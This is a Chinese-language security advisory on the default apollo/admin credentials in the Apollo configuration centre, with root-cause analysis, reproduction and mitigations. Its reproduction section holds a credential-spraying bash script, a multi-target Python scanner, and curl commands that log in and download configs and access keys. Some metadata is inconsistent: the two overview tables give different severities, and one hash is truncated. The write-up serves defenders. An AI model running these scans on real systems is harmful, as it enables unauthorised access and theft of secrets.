一、漏洞简介¶
1.1 漏洞背景¶
Apollo 在早期版本中默认创建的管理员账号使用简单密码,且在部署文档中未明确提示用户修改,导致大量生产环境使用默认凭证。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | 暂无统一编号 |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | 默认弱口令问题 |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | Apollo 配置中心 |
| 属性 | 详情 |
|---|---|
| CVE编号 | 无独立 CVE(属于配置弱点) |
| 危害等级 | 严重 |
| CVSS评分 | 9.8 (Critical) |
| 漏洞类型 | 默认凭证 / Weak Authentication |
核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。
二、影响范围¶
2.1 受影响的版本¶
- Apollo 所有版本(取决于部署配置)
- 特别是使用默认 SQL 初始化脚本的环境
2.2 不受影响的版本¶
- 部署时已修改默认密码的环境
- 使用 LDAP/OIDC 集成认证的环境
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 使用官方默认 SQL 脚本初始化数据库
- 未修改默认管理员密码
- Portal 服务可从网络访问
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
默认凭证列表:
| 账号 | 默认密码 | 权限 |
|---|---|---|
| apollo | admin | 超级管理员 |
| user | password | 普通用户(部分版本) |
问题根源: 在 apolloportaldb.sql 初始化脚本中硬编码默认账号:
-- apolloportaldb.sql
INSERT INTO `Users` (`Username`, `Password`, `Email`, `Enabled`)
VALUES ('apollo', '$2a$10$7JB20yH0gRk1KvP5/Wpm...==', 'apollo@acme.com', 1);
-- 默认密码为 "admin",使用 BCrypt 加密
3.2 源码层面的根因分析(结合源码与补丁对比)¶
密码验证逻辑:
// UserService.java
public boolean authenticate(String username, String password) {
User user = userRepository.findByUsername(username);
if (user == null) {
return false;
}
// BCrypt 密码校验
return BCrypt.checkpw(password, user.getPassword());
}
默认密码哈希值(可被暴力破解):
$2a$10$7JB20yH0gRk1KvP5/Wpm.uPmMQJHYb0oDq.kQDZxmP5R8t7TLHqxO
对应明文: admin
修复方案对比:
-- apolloportaldb.sql (v2.0.0+)
-INSERT INTO `Users` (`Username`, `Password`, `Email`, `Enabled`)
-VALUES ('apollo', '$2a$10$7JB20yH0gRk1KvP5/Wpm...==', 'apollo@acme.com', 1);
+-- 强制用户首次登录修改密码
+INSERT INTO `Users` (`Username`, `Password`, `Email`, `Enabled`, `MustChangePassword`)
+VALUES ('apollo', '$2a$10$...', 'admin@example.com', 1, 1);
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 使用默认配置启动 Apollo
docker run -d -p 8070:8070 --name apollo-portal \
-e SPRING_DATASOURCE_URL=jdbc:mysql://mysql:3306/ApolloPortalDB \
apolloconfig/apollo-portal:1.7.1
4.2 PoC 演示与测试过程¶
PoC 1: 默认凭证登录测试
#!/bin/bash
# default_cred_check.sh
TARGET=$1
# 常见默认凭证组合
CREDS=(
"apollo:admin"
"apollo:apollo"
"admin:admin"
"user:password"
"admin:123456"
)
for cred in "${CREDS[@]}"; do
IFS=':' read -r user pass <<< "$cred"
response=$(curl -s -X POST "http://${TARGET}:8070/signin" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=${user}&password=${pass}" \
-c cookies.txt -b cookies.txt \
-w "%{http_code}")
if [[ "$response" == *"200"* ]] || [[ "$response" == *"302"* ]]; then
echo "[+] 成功: ${user}:${pass}"
fi
done
rm -f cookies.txt
PoC 2: 批量检测脚本
#!/usr/bin/env python3
import requests
import concurrent.futures
DEFAULT_CREDS = [
('apollo', 'admin'),
('admin', 'admin'),
('apollo', 'apollo'),
('user', 'password'),
]
def check_default_cred(target, username, password):
try:
session = requests.Session()
r = session.post(
f"http://{target}:8070/signin",
data={'username': username, 'password': password},
timeout=10,
allow_redirects=True
)
# 检查是否登录成功
if '错误' not in r.text and r.status_code == 200:
return (target, username, password, True)
except:
pass
return (target, username, password, False)
def scan_targets(targets):
vulnerable = []
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
futures = []
for target in targets:
for user, pwd in DEFAULT_CREDS:
futures.append(executor.submit(check_default_cred, target, user, pwd))
for future in concurrent.futures.as_completed(futures):
target, user, pwd, success = future.result()
if success:
print(f"[!] {target} - 默认凭证有效: {user}:{pwd}")
vulnerable.append((target, user, pwd))
return vulnerable
if __name__ == '__main__':
targets = ['192.168.1.100', '10.0.0.50'] # 替换为目标
scan_targets(targets)
PoC 3: 登录后获取敏感信息
# 使用默认凭证登录后访问敏感端点
TARGET="192.168.1.100"
# 1. 登录获取 session
curl -c cookies.txt -X POST "http://${TARGET}:8070/signin" \
-d "username=apollo&password=admin"
# 2. 获取所有应用配置
curl -b cookies.txt "http://${TARGET}:8070/applications" | jq
# 3. 下载配置文件(可能含敏感信息)
curl -b cookies.txt "http://${TARGET}:8080/configfiles/SampleApp/default/application" > config.properties
# 4. 查看 AccessKey(如果存在)
curl -b cookies.txt "http://${TARGET}:8070/access-keys"
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级到强制修改密码的版本: - Apollo ≥ 2.0.0:首次登录强制修改密码 - 使用数据库脚本更新现有环境
-- 为所有用户设置强制修改密码标志
UPDATE Users SET MustChangePassword = 1 WHERE Username = 'apollo';
-- 直接修改默认密码(推荐)
UPDATE Users
SET Password = '$2a$10$你的新密码BCrypt哈希值'
WHERE Username = 'apollo';
密码哈希生成:
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
public class PasswordHashGenerator {
public static void main(String[] args) {
BCryptPasswordEncoder encoder = new BCryptPasswordEncoder();
String newPassword = "YourStrongPassword123!@#";
String hash = encoder.encode(newPassword);
System.out.println("Hash: " + hash);
}
}
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案 1: 立即修改默认密码
-- 连接数据库
mysql -u root -p ApolloPortalDB
-- 生成新的密码哈希(使用强密码)
-- 示例密码: Apollo@2024#Secure!
UPDATE Users
SET Password = '$2a$10$rBWt8hMXhHVmHqWaSz6VhOLnL0EkZmJqCvMZnRJrPWPvhT4nE5dOK'
WHERE Username = 'apollo';
-- 删除测试用户
DELETE FROM Users WHERE Username IN ('user', 'test');
方案 2: 启用密码复杂度检查
# apollo-portal.properties
apollo.portal.password.policy.enabled=true
apollo.portal.password.policy.minLength=12
apollo.portal.password.policy.requireUppercase=true
apollo.portal.password.policy.requireLowercase=true
apollo.portal.password.policy.requireDigit=true
apollo.portal.password.policy.requireSpecialChar=true
方案 3: 配置登录失败锁定
# 启用账户锁定
apollo.portal.auth.lock.enabled=true
apollo.portal.auth.lock.maxAttempts=5
apollo.portal.auth.lock.lockDurationMinutes=30
方案 4: 集成企业认证
# 使用 LDAP 认证
apollo.portal.auth.type=LDAP
ldap.url=ldap://ldap.company.com:389
ldap.base=dc=company,dc=com
ldap.username=cn=admin,dc=company,dc=com
ldap.password=${LDAP_PASSWORD}
ldap.user.search.base=ou=users
ldap.user.search.filter=(uid={0})
方案 5: 监控和告警
# Prometheus + Grafana 监控配置
groups:
- name: apollo-security
rules:
- alert: DefaultCredentialAttempt
expr: rate(apollo_login_failed_total{username="apollo"}[5m]) > 0.1
for: 1m
labels:
severity: critical
annotations:
summary: "检测到默认凭证登录尝试"
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://github.com/apolloconfig/apollo/blob/master/scripts/sql/apolloportaldb.sql
- https://www.apolloconfig.com/#/zh/usage/portal-user-manage
6.2 其他技术参考资料¶
- https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password
- https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
- https://www.sans.org/top25-software-errors/#cat1